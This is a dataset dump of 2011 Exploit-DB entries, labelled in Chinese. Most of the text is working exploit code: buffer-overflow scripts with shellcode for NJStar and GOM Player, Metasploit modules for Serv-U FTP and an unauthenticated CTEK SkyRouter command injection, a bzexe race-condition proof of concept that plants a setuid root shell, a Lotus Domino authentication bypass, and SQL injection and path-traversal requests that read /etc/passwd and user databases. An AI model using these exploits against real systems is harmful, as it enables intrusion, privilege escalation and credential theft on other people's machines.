QLWD/code_shield huggingface dataset:
标题: SopCast 3.4.7 - 'Diagnose.exe' Improper Permissions EDB-ID: 18201 CVE: 2011-5044 类型: LOCAL 平台: WINDOWS 发布日期: 2011-12-05 漏洞利用脚本: SopCast 3.4.7 (Diagnose.exe) Improper Permissions


Vendor: SopCast.com
Product web page: http://www.sopcast.com
Affected version: 3.4.7.45585

Summary: SopCast is a simple, free way to broadcast video and audio or watch
the video and listen to radio on the Internet. Adopting P2P(Peer-to-Peer)
technology, It is very efficient and easy to use. SoP is the abbreviation for
Streaming over P2P. Sopcast is a Streaming Direct Broadcasting System based
on P2P. The core is the communication protocol produced by Sopcast Team, which
is named sop://, or SoP technology.

Desc: SopCast is vulnerable to an elevation of privileges vulnerability which
can be used by a simple user that can change the executable file with a binary
of choice. The vulnerability exist due to the improper permissions, with the 'F'
flag (full control) for the 'Everyone' group, for the 'Diagnose.exe' binary file
which is bundled with the SopCast installation package.

Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[30.11.2011] Vulnerability discovered.
[01.12.2011] Contact with the vendor with sent detailed info.
[04.12.2011] No response from the vendor.
[05.12.2011] Public security advisory released.


Advisory ID: ZSL-2011-5062
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5062.php


30.11.2011

--


C:\Program Files\SopCast>cacls Diagnose.exe
C:\Program Files\SopCast\Diagnose.exe Everyone:F <-----
                                      BUILTIN\Users:R
                                      BUILTIN\Power Users:C
                                      BUILTIN\Administrators:F
                                      NT AUTHORITY\SYSTEM:F
                                      LABPC\User101:F

C:\Program Files\SopCast> URL: https://www.exploit-db.com/exploits/18201
标题: NJStar Communicator MiniSmtp - Buffer Overflow (ASLR Bypass) EDB-ID: 18196 CVE: 2011-4040 类型: DOS 平台: WINDOWS 发布日期: 2011-12-03 漏洞利用脚本: # Exploit Title: NJStart Communicator MiniSmtp Buffer Overflow [ASLR Bypass]
# Date: 02/12/11
# Author: Zune - Julian Pulido
# Software Link: http://www.njstar.com/download/njcom.exe
# Version: 3.0
# Build: 11818 and previous  
# Tested on: Windows 7 Ultimate
# CVE:2011-4040


#! /usr/local/bin/python

import socket
import time

carriage= chr(0xd) 
#######################################
Padding1= chr(0x31)* 275
Jump= '\x8d\x44\x24\x80\xff\xe0\x90\x90'
Junk1= chr(0x90)* 4
return1= '\x2d\x12\x41' # pop retn
egg1= Padding1+Jump+Junk1+return1+carriage 

#######################################
Padding2= chr(0x32)* 271
return2= '\x2b\x12\x41' # pop pop pop retn
egg2= Padding2+return2+carriage

#######################################
Padding3= chr(0x33) * 263
return3= '\x2d\x12\x41' # pop retn
egg3= Padding3+return3+carriage

#######################################
Padding4= chr(0x34) * 171
Padding5= chr(0x34) * 22
ShellCode = "\xC7\x43\x20\x63\x61\x6C\x63\xC7\x43\x24\x2E\x65\x78\x65\x33\xC0\
\x66\xB8\x1A\x08\xC1\xE0\x08\xB0\x79\x03\xE8\x8D\x43\x20\x33\xC9\xB1\x01\xC1\
\xC1\x0C\x2B\xE1\x6A\x05\x50\xFF\xD5\x8D\x85\x85\x44\xF8\xFF\x6A\x01\xFF\xD0"

return4= '\x2b\x12\x41' # pop pop pop retn
egg4= Padding4+ShellCode+Padding5+return4+carriage

#######################################

def Send_SMTP (egg):
    connectionx.send(egg +'\n')
    time.sleep(2)
    
connectionx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "Exploit NJStar Communicator 3.0 MiniSmtp by Zune\n"
print "Windows 7 Ultimate [ASLR Bypass]"
try:
    connectionx.connect(("192.168.1.65",25))#SMTP port 25
    Send_SMTP(egg1)
    Send_SMTP(egg2)
    Send_SMTP(egg3)
    Send_SMTP(egg4)
    connectionx.close()
except socket.error:
    print "it couldn't connect"
    time.sleep(2) URL: https://www.exploit-db.com/exploits/18196
标题: Muster Render Farm Management System - Arbitrary File Download EDB-ID: 18185 CVE: 2011-4714 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-01 漏洞利用脚本: #Name: Muster Render Farm Management System Arbitrary File Download 
#Vendor Website : http://www.vvertex.com/muster.html 
#Date Released : November 29, 2011 
#Affected Software : Muster < 6.20 
#Researcher : Nick Freeman (nick.freeman@security-assessment.com)

#Description
#Security-Assessment.com has discovered a vulnerability with the Muster 6.1.6 web management server. This issue #can be exploited by an unauthenticated user to gain full control of the web management interface, and to send #arbitrary commands to all Muster clients.

#Exploitation
#It is possible to download any file on the Muster server by exploiting a vulnerability in the web server. By #using directory traversal characters (\..\..\) in the URL, it is possible to specify any file on the file #system to be served to the client. Exploitation of this vulnerability does not require authentication. The #table below includes an example HTTP Request that would allow the download of the “muster.db” SQLite database:

#Example of Malicious HTTP Request :

GET /a\..\..\muster.db 
HTTP/1.1 Host: musterserver:8690




#This SQLite database contains a table with all users of the application together with base64-encoded #passwords. By retrieving this database or other similar configuration files, it is possible to gain #administrative access over the render farm.


#Solution
#A patch is available from the vendor’s website. Version 6.20 remediates this vulnerability. URL: https://www.exploit-db.com/exploits/18185
标题: IBM Lotus Domino Server Controller - Authentication Bypass EDB-ID: 18179 CVE: 2011-1519 2011-0920 类型: REMOTE 平台: JSP 发布日期: 2011-11-30 漏洞利用脚本: # Exploit Title: IBM Lotus Domino Controller auth. bypass
# Date:30/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.ibm.com/
# Version:8.5.3/8.5.2 FP3 (0day) 
# Tested on: Windows 7 / Windows 2008
# CVE : CVE-2011-1519


Application: IBM Lotus Domino Controller
Versions Affected: <=8.5.2 FP3, <=8.5.3
Manager 4.0 prior to Update 4
(0day) 
Vendor URL: http://ibm.com
Bug: own XML parser  
CVE: CVE-2011-1519
CVSS2: 9.0
Exploits: YES
Reported:2010-09-23 via ZDI
Date of Public Advisory: 2011-03-22
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug,
but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day.
Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41

EXPLOIT:

1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050
2. Inject XML into IIS log file (for an example)

ncat targethost 49152
GET /<user HTTP/1.0\r\n\r\n


ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n

(\r\n\r\n) ENTER two times 8)

3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet)

<html>
<body>
<script>
function onLoadConsole()
{
alert("Connected");
}
</script>
<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%"
>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>
</body>
</html> URL: https://www.exploit-db.com/exploits/18179
标题: GOM Player 2.1.33.5071 - '.asx' File Unicode Stack Buffer Overflow EDB-ID: 18174 CVE: 2011-5162 2007-0707 类型: LOCAL 平台: WINDOWS 发布日期: 2011-11-30 漏洞利用脚本: # Exploit Title: GOM Player Crafted ASX File Unicode Stack Buffer Overflow and Arbitrary Code Execution.
# Version: 2.1.33.5071
# Date: 30-11-2011
# Author: Debasish Mandal & Peter Van Eeckhoutte (corelanc0d3r)
# Email : debasishm89@gmail.com
# Software Link: http://www.gomlab.com/eng/GMP_download.html
# Category:: Local
# Tested on: Windows XP SP2.
# Many Many Thanks to P.V.Eeckhoutte & Nilanjan De


#!/usr/bin/python
print "#############################################################################################"
print "##   GOM Player Crafted ASX File Unicode Stack Buffer Overflow and Arbitrary Code Execution.#"
print "##                                   Version: 2.1.33.5071                                   #"
print "##                                Author :: Debasish Mandal                                 #"
print "##                             Email : debasishm89@gmail.com                                #"
print "##                             Blog: http://www.debasish.in/                                #"
print "#############################################################################################"
raw_input("[*] Press Enter to generate the crafted ASX...")
size = 2046
#Shellcode WinExec "Calc.exe" Unicode
shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AI"
shellcode += "AIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBvz5tz9ptkthtPZOCI95hVsXKl"
shellcode += "iqqVQNR4CUrm4p1pBlSm32qFxhK1dGymgtBT7KaWXZUKNKDhyKwRD3M4kIgjNWcoPbSw2Vg9C8"
shellcode += "qpkJHPTWONmGWC5QaNrRktfZsLnvqZZxsLOmJlOl5oXmvWpdgKQzmR3pXKuPSPhNy9YXXVpMQ4"
shellcode += "LknUTeKronnLU5GYH3FKm9oL8bgzRHcEuHN1o6wUn6quYo9Mn7pUEZFjaxMkkkFMvHii3tM7Li"
shellcode += "z0yTVM6RQeUKceKvqNNsS3OK0Wsr2LKHnMxzpNsL2noxujOJn7khxOO1wuOWnSkXLQ4sNEm3xN"
shellcode += "K3OwmMDBsKuf5DvgPOlXtwljwJLqruILX8ntLu940wojgQ6kVIPXMNCL8vJnlJeRqcBLELTKLu"
shellcode += "48sNz8yLFZVo2KNLWPsKw6ZeOBOnuyC1ef0uz7dQOzSrmPFKSZTA"
buff = ''
buff += '<asx version = "3.0" ><entry><title>ArirangTV</title><ref href = "WWW.'
align = "A"                 # align to first instruction
align += "\x55\x41\x58\x41" # push ebp, pop eax
align += "\x05\x11\x11"     # add eax,11001100
align += "\x41"             # align
align += "\x2d\x10\x11"     # sub eax,11001000
align += "\x41" * 109       # padding
align += "\x40\x41\x40"     # 2x inc eax
align += "\x41"             # align
buff += align
buff += shellcode
buff += "\x41"*(size - len(align) - len(shellcode))
#eip
buff += "\xd9\x57"          # CALL EBP - 0x005700d9
                            # top of the stack
buff += "\x46"*2
buff += "\x47"*100
buff +='"/></entry></asx>'
f = open('LIST.asx','w')
f.write(buff)
f.close()
print "[*] Crafted .m3u File generated"
print "[*] Exit" URL: https://www.exploit-db.com/exploits/18174
标题: RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit) EDB-ID: 18190 CVE: 2004-2111 类型: REMOTE 平台: WINDOWS 发布日期: 2011-12-02 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Serv-U FTP Server <4.2 Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the site chmod command
    in versions of Serv-U FTP Server prior to 4.2.

    You must have valid credentials to trigger this vulnerability. Exploitation
    also leaves the service in a non-functional state.
   },
   'Author'         => 'thelightcosine <thelightcosine[at]metasploit.com>',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2004-2111'],
     [ 'BID', '9483'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP0-4 EN', {
      'Ret'    => 0x750212bc, #WS2HELP.DLL
      'Offset' => 396 } ],
     [ 'Windows XP SP0-1 EN', {
      'Ret'    => 0x71aa388f, #WS2HELP.DLL
      'Offset' => 394 } ]
    ],
   'DisclosureDate' => 'Dec 31 2004',
   'DefaultTarget'  => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end


 def exploit
  connect_login

  eggoptions =
  {
   :checksum => true,
   :eggtag => "W00T"
  }

  hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


  buffer = "chmod 777 "
  buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
  buffer << egg
  buffer << hunter
  buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
  buffer << [target.ret].pack('V') #seh
  buffer << rand_text(5000)

  print_status("Trying target #{target.name}...")

  send_cmd( ['SITE', buffer] , false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/18190
标题: PHP video script - SQL Injection EDB-ID: 18156 CVE: 2011-5103 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-25 漏洞利用脚本: ######################################################
# Exploit Title: php video script SQL Injection Vulnerability
# Date: 2011-25-11
# Author: longrifle0x
# Home page: www.security-research.ge
# software: PHP video script
# Download:http://www.alurian.com/php-video-script/
# Tools: SQLMAP
# Drok: Copyright � PHP Video Script powered by Prismotube All Rights Reserved
######################################################

*DESCRIPTION
Discovered a vulnerability in video_tags,

vulnerability is SQL injection.

*Exploitation*

link: http://localhost:80/tag <http://localhost/tag>

vulnerability link: http://localhost:80/tag <http://localhost/tag>'

http://localhost:80/tag'/index.php?id=1
<http://localhost/tag'/index.php?id=1> [GET][id=-1][CURRENT_USER()

http://localhost:80/tag'/index.php?id=1[GET][id=-1][SELECT(CASE
<http://localhost/tag'/index.php?id=1[GET][id=-1][SELECT(CASE> WHEN
((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y')
THEN 1 ELSE 0 END)

http://localhost:80/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)
<http://localhost/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)> URL: https://www.exploit-db.com/exploits/18156
标题: LibLime Koha 4.2 - Local File Inclusion EDB-ID: 18153 CVE: 2011-4715 类型: WEBAPPS 平台: CGI 发布日期: 2011-11-24 漏洞利用脚本: # Exploit Title: [Koha Opac Local File Inclusion]
 # Google Dork: [inurl:koha/opac-main.pl] 
 # Date: [17.11.2011]
 # Author: [Akin Tosunlar(Vigasis Labs)]
 # Software Link: [www.koha.org]
 # Version: [<4.2]
# Tested on: [Linux(Apache 2.2.14)]
# CVE : []

# Vigasis Pentest Team (www.vigasis.com)
# 0-Day Exploit
# Akin Tosunlar
# Special Thanks to Ozgur Yurdusev

#Exploit

GET /cgi-bin/koha/opac-main.pl HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Cookie: sessionID=1;KohaOpacLanguage=../../../../../../../../etc/passwd%00
Connection: Close
Pragma: no-cache
Host: localhost URL: https://www.exploit-db.com/exploits/18153
标题: Bugbear FlatOut 2005 - '.bed' File Buffer Overflow EDB-ID: 18173 CVE: 2011-5173 类型: DOS 平台: WINDOWS 发布日期: 2011-11-30 漏洞利用脚本: #Exploit Title: FlatOut Malformed .bed file Buffer Overflow
# Date: 11-29-11
# Author: Silent Dream
# Software Link: http://www.gog.com/en/gamecard/flatout
# Version: Latest
# Tested on: Windows 7

#Tested on GOG.com copy of FlatOut.  Exception offset = 61616161
#Multiple .bed files are vulnerable to buffer overflows...too many to even begin to list..

my $file = "playlist_0.bed";
my $head = "Title = \"";
my $junk = "a" x 3000 . "\"\r";
my $tail = "Loop = {" . "\r}";
open($File, ">$file");
print $File $head.$junk.$tail;
close($FILE);
print "Overwrite the original playlist_0.bed file in %program files%\\GOG.com\\FlatOut\\data\\music and launch flatout.exe...wait for the crash\r\n"; URL: https://www.exploit-db.com/exploits/18173
标题: XChat 2.8.9 - Heap Overflow Denial of Service EDB-ID: 18159 CVE: 2011-5129 类型: DOS 平台: LINUX 发布日期: 2011-11-25 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: XChat Heap Overflow DoS Proof of Concept
# Date: June 2011
# Author: th3p4tri0t
# Software Link: http://xchat.org/
# Version: <= 2.8.9

# This only works on XChat on KDE, I'm not sure about windows.
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5
# It is a heap overflow and is some sort of error with X Windows
# It uses 1537 (this is the minimum) of the ascii value 20
# after this, an unknown number of any other character (did not check for special
# characters) is required to trigger a crash, presumably the payload will go here. 

# th3p4tri0t

import socket

print "XChat PoC Exploit by th3p4tri0t\n"

print "Creating server..."
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "    [*] Binding to socket..."
sock.bind(('127.0.0.1', 6667))

print "    [*] Listening on socket..."
sock.listen(5)

print "    [*] Accepting connection..."
(target, address) = sock.accept()

print "    [*] Sending payload..."
buffer = "hybrid7.debian.local "
buffer += chr(20) * 1537         # minimum required of this character
buffer += "A"*4000               # anything can go here and it still works.
buffer += " :*\r\n"

target.send(buffer)

target.close
sock.close URL: https://www.exploit-db.com/exploits/18159
标题: bzexe (bzip2) - Race Condition EDB-ID: 18147 CVE: 2011-4089 类型: LOCAL 平台: LINUX 发布日期: 2011-11-23 漏洞利用脚本: /* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC

   Author:    vladz (http://vladz.devzero.fr)
   Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6)

   This PoC exploits a race condition in the bzexe script.  This tool is
   rarely used so I wasn't supposed to write an exploit.  But some people
   on the full-disclosure list had doubts about this exploitation.  Public
   discussion about this issue started from this post:  
   http://seclists.org/fulldisclosure/2011/Oct/776.

   I am using Inotify to win the race (on my dual-core, it succeed 100%).

      Usage: ./bzexe_PoC <command_name>

   For instance, if "/bin/dd" has already been compressed with bzexe,
   launch:

      $ ./bzexe_PoC dd
      [*] launching attack against "dd"
      [+] creating evil script (/tmp/evil)
      [+] creating target directory (/tmp/dd)
      [+] initialize inotify
      [+] waiting for root to launch "dd"
      [+] opening root shell
      # whoami
      root
*/
#define _GNU_SOURCE
#include <sys/inotify.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>


int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);

  return 0;
}


int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, 
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("usage: %s <cmd name>\n", argv[0]);
    return 1;
  }

  printf("[*] launching attack against \"%s\"\n", argv[1]);

  printf("[+] creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);

  targetpath = malloc(sizeof(argv[1]) + 6);
  sprintf(targetpath, "/tmp/%s", argv[1]);

  printf("[+] creating target directory (%s)\n", targetpath);
  mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO);

  printf("[+] initialize inotify\n");
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_CREATE);

  printf("[+] waiting for root to launch \"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

  return 0;
} URL: https://www.exploit-db.com/exploits/18147
标题: CTEK SkyRouter 4200/4300 - Command Execution (Metasploit) EDB-ID: 18172 CVE: 2011-5010 类型: REMOTE 平台: HARDWARE 发布日期: 2011-11-30 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CTEK SkyRouter 4200 and 4300 Command Execution',
   'Description'    => %q{
     This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
   },
   'Author'         => [ 'savant42' ],  #with module help from kos
   'License'        => MSF_LICENSE,
   'References'     => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet netcat-e bash',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)
   'DefaultTarget' => 0))

 end

 def exploit
  post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
  uri    = '/apps/a3/cfg_ethping.cgi'
  print_status("Sending HTTP request for #{uri}")
  res = send_request_cgi( {
   'global' => true,
   'uri'    => uri,
   'method' => "POST",
   'data' => post_data
  }, 30)

  if res
   print_status("The server responded with HTTP CODE #{res.code}")
  else
   print_status("The server did not respond to our request")
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/18172